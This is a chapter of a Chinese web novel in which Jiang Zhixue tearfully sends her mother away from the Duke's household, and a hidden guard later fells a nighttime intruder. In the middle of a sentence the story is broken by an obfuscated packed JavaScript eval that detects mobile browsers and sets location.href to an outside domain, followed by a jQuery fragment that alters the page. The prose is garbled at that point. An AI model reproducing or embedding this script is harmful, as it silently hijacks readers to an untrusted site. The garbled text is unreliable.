14. 分别

作品:《与废太子的流放生存纪事

    墙外突兀传来几声鸟叫,早早在庭院等着的江知雪立刻以同样的声音回应。雪已落了她一头顶。


    云双跑过去打开门,汀溪一个闪身便进来了。


    黑影又蹲在了那颗桂树上,连内息都隐去了:「这个三小姐不简单呐,竟然还认识江湖上的人。」


    “三小姐,小姐让我转告您,一切都已准备妥当,这是明日的路线图。”汀溪将袖中信封交给江知雪,福身一礼,又退了出去。


    云双确认左右无人,才将门给关上。


    二人急急忙忙回屋关上门。江知雪小心拆开信封,和云双研究起明日阿娘所行路线。


    按照安国公府的安排,明日国公爷会派一辆马车,送阿娘她们出城,一路走官道经过颍州、洛川县和临阳,然后到达云州。


    听起来真是令人心动的安排,但江知雪不觉得向来不闻不问的他会突然铁树开花,安了好心。


    所以那日接旨后,她特意寻求江眠星的帮助。


    那些日子,江知雪对着舆图暗地里和江眠星研究了上百条路线,不是路况危险会有流匪作乱,就是会遇到官府的人,或是和安国公的人碰面,始终无法敲定。


    连日的无果,让江知雪有些挫败,心下更是焦急。江眠星见她如此,便劝她先回去休息,剩下的事她会想办法,派人出去打听打听。


    终于,江眠星在临行前一天办妥,还贴心地送来了路线图,江知雪悬着的一颗心总算落了地。


    根据纸上所书所绘,明日阿娘会先乘坐安国公府的马车出城,行至岔路时,会有一伙人过来偷梁换柱,将阿娘她们转移至提前备好的另一辆车,经已摸排的各种小路,抵达繁州暂住。那里有江眠星相熟的人照应,等过段时间,一切稳当,再送阿娘入云州。


    如今阿娘的一切都压在江眠星身上,江知雪只希望对方是真心实意,她将一辈子对其感恩戴德。


    时间飞快流逝,似乎只是眨个眼,天就黑了。外面雪已停,只余寒风在呼呼刮着。


    江知雪躺在床上辗转反侧,一会儿想到阿娘未被及时接送走,而是随着安国公府的马车一路向前,最后从高处跌落;一会儿又是江眠星的马车遇上了官府中人,官员将此事告知安国公,安国公气极,立刻派人追杀;一会儿又是路遇流匪,当场身亡……


    她使劲拍了拍脸:“不行,我在想什么呢!阿娘她们一定会平平安安,我理应相信江眠星才是。”


    可思绪还是不住往那方面想去,就这样一直反复,最终在这些思绪里沉沉睡去。


    一夜无梦。


    翌日,东方刚闪出一丝天光,江知雪就睁开了眼。


    园中已传来窸窸窣窣的声响,她霎时清醒,动作极快地穿好衣服开门,就见李婶她们已把一切打点妥当,搁置在廊下。


    云双见小姐醒了,将在厨房热着的水端去,江知雪快速洗漱完毕,扎了个耗时短的发髻,随意用一支珠钗固定着,就连忙向阿娘跑去。


    “阿娘,怎么不多睡会儿,安国公的马车哪能这么早就到?”


    秦轻水温柔地摸了摸她的头:“一想到今日就要离开这里,离开你,实在是睡不下。”


    “姑娘她啊,你别看她现在挺风轻云淡的,昨晚可是一直和我碎碎念呢。”李婶在一旁补充:“怕你和云双两个人饿着冷着,受人欺负了。说自己不是个称职的阿娘,哪有阿娘不看着自己女儿出嫁的。又怕你日后过得不好……”


    “翠兰姐。”秦轻水见李婶越说越多,直把她羞得不行,连忙出声阻止。可一出声,就是一阵哽咽,索性不管不顾了,将江知雪搂入怀中哭出声来。


    “我苦命的女儿。”她面容悲戚。


    李婶也眼泛泪花,拿手中帕子擦拭着。


    江知雪感受着阿娘的温度,心下一片柔软。


    “放心吧阿娘,我会照顾好自己的。”


    秦轻水还是止不住念叨:“我不在的时候,你在引梅园就不要出去了。日后嫁给太子,你也小心些,虽说传言不可轻信,但他从前毕竟是高高在上的太子,骤然失意,怕是情绪无常。


    若他真如传言那般暴戾恣睢,你暂且忍耐,等出了城,便想法子来云州寻我,他才从天牢出来,定是受了折磨虚弱着的,届时你们二人齐心合力。阿娘会护着你的。”


    “嗯,我知道了阿娘。”江知雪听着阿娘的唠叨,也不由得哭了起来。


    她们在厅屋吃了早饭,又说了许久的话。期间,秦轻水重新为江知雪挽了发髻。


    天光大亮,阳光透过云层照在雪上,一地晶莹。


    屋檐有水滴落,是雪融化的声音。


    园外传来马蹄踢踏声和车轱辘压在地面的声音,安国公府的马车到了。


    江知雪双手不自觉轻颤。


    敲门声已然响起,云双跑去开门。秦轻水对江知雪最后一次小声嘱咐着,她们和李婶一起往外搬着行囊。


    云双以为只有车夫一人,谁知一打开门,就见安国公和安国公夫人及江望月站在门外,连杨氏和江眠星都来了。


    她眼皮一跳,连忙正色行礼:“奴婢见过安国公、夫人、大小姐,见过杨姨娘和二小姐。”


    园内三人听见云双的声音,互相对视一眼,都在对方眼中见到了凝重。


    她们连忙将行囊放下,快步过去对外面的人行礼,并客气将人迎进门。


    “国公爷怎么过来了?”秦轻水温声问道。


    江奉山眼睛自然扫过园内,很难想象昔日娇滴滴的云州首富之女能在这样一个园子里生活这么久,并打理地井井有条。


    他脸上带着笑,难得耐下心来同秦轻水说话:“好歹你曾是我的妾室,如今放你离开,过来看看送你上路也是应当的。”


    江知雪感到一股恶寒,连带着看着他的笑都觉得不怀好意。


    “那真是多谢国公爷了。”秦轻水听出对方讽刺自己不过是个妾室,亦笑着阴阳怪气答谢。


    两人皆笑着盯着对方,颇有种水火不容的架势。


    一旁的陆平瑶最先沉不住气:“秦轻水,我警告你,你别给脸不要脸!我们能过来这种地方是对你的恩典。”


    “那也得谢过安国公夫人。”秦轻水完全不吃她那套。


    陆平瑶好似一拳打在棉花上,浑身不得劲儿,脸都绿了。


    杨氏张张嘴也准备说点什么,被江眠星一把拉住了。她愤恨地瞪了自己女儿一眼,谁知对方敢回瞪她,给她气得瞬间不想说话。


    空气安静了好一会儿,安国公才出声道:“好了好了,时辰也不早了,就不寒暄了。来人呐,帮秦氏把东西搬上马车。”


    下人手脚麻利,很快就将东西拾掇好。


    秦轻水也不废话,直向马车走去。


    江知雪和云双跟在她们二人身后,扶着她们上了马车。


    “好好照顾自己。”秦轻水最后对她说。


    李婶也在后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215271|180836||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    头嘱咐着云双:“云双,一定好好照顾小姐。”


    “我会的。”云双站在底下挥手,红了眼眶。


    车夫见一切都准备好了,坐在前头,挥动马鞭。


    车轮滚动,江知雪已拉不住阿娘的手,她跟随马车向前跑去,终是跑不过马车,跌坐在地。


    秦轻水不忍再看,狠下心拉上帘子,抱着李婶痛哭。


    江知雪望着马车渐渐远去,直至在视野消失,觉得心里空了一块。泪水顺着脸颊滑落,好半晌,她都无法回神。


    还是云双将她拉起,扶回引梅园。


    安国公冷眼看着她,只说了一句:“好好准备出嫁吧”便离去了。


    一行人也都跟着离去,只江眠星隐晦地与她点了点头。


    四周复又安静下来,只余冰水融化的声音。原本僻静的引梅园在江知雪看来,更加寂静。


    她红肿着眼睛,扫过园中的一砖一瓦、一草一木,一切都是原来的样子,屋中板凳甚至还残存着阿娘的体温。


    可是阿娘不会再回来了。


    “小姐,别哭了,还有我陪着你呢。”云双轻拍小姐后背。


    “嗯。”江知雪嘴上应着,却还是呆呆坐在厅屋凳上,回忆着和阿娘共度的时光。


    云双无法,只得直起身向外走去:“小姐,我去煮碗姜汤。”


    隐在树中的黑影看了场母女情深的大戏,内心不由得咂舌:「还是个感性的家伙。」


    直到太阳挂在中空,江知雪才缓缓回过神,她大喊着:“云双,云双!”


    “来了来了。”云双快步跑来,“小姐怎么了?”


    “我饿了。”


    知道饿就说明伤心够了,云双彻底放下心来:“好嘞,我现在就去做。”


    “麻烦你了,晚间的饭我来负责。”江知雪不好意思地绞着手。


    “天天做我都乐意,我去忙了啊。”


    ……


    夜幕悄然降临,今夜的引梅园入睡得极早。


    四下寂静,眼看再探听不到什么,黑影打着哈欠正欲离去,却突然敏锐地察觉到了什么。


    「有人。」


    有脚步在快速往这边移动。


    他重新集中精神,双眼锐利地看向那人的方位。


    「三,二,一。」


    “一”字刚落,便有人踏着轻功站在了墙上。看身形是个男人。


    黑影随意扯过一片桂叶,将其夹在手中向墙上飞去。


    “啊!——”短促的一声叫喊,那人往外倒去,随后是沉闷的一声响。


    「好大的胆子,三脚猫的功夫也敢来偷人,碰上你爷爷我算你倒霉,不是谁的人都能觊觎的。」黑影腹诽。


    好半天没听见动静,黑影估摸着对方是晕过去了。


    他一个瞬移,轻飘飘落到地上,定睛一看:“嚯,这不是最近外面风头正盛、炙手可热的广平侯府谢二公子吗?”


    他俯下身子,轻轻捏着倒在地上不醒人事的谢怀清下巴,左右细看:“长的不赖,但大半夜不睡觉,跑到这来干偷鸡摸狗的事儿,要点脸不?”似是气不过,又使劲儿拍了拍,直把对方脸上的细皮嫩肉给拍肿了才罢休。


    他将谢怀清身旁自己的脚印抹掉,又从对方肩头找出那片已带了血迹的叶子,随后一个轻功便离开了。


    只留下谢怀清孤零零地躺在地上,冻了大半夜才清醒,冷得直发抖,带着一身伤灰溜溜地往家赶。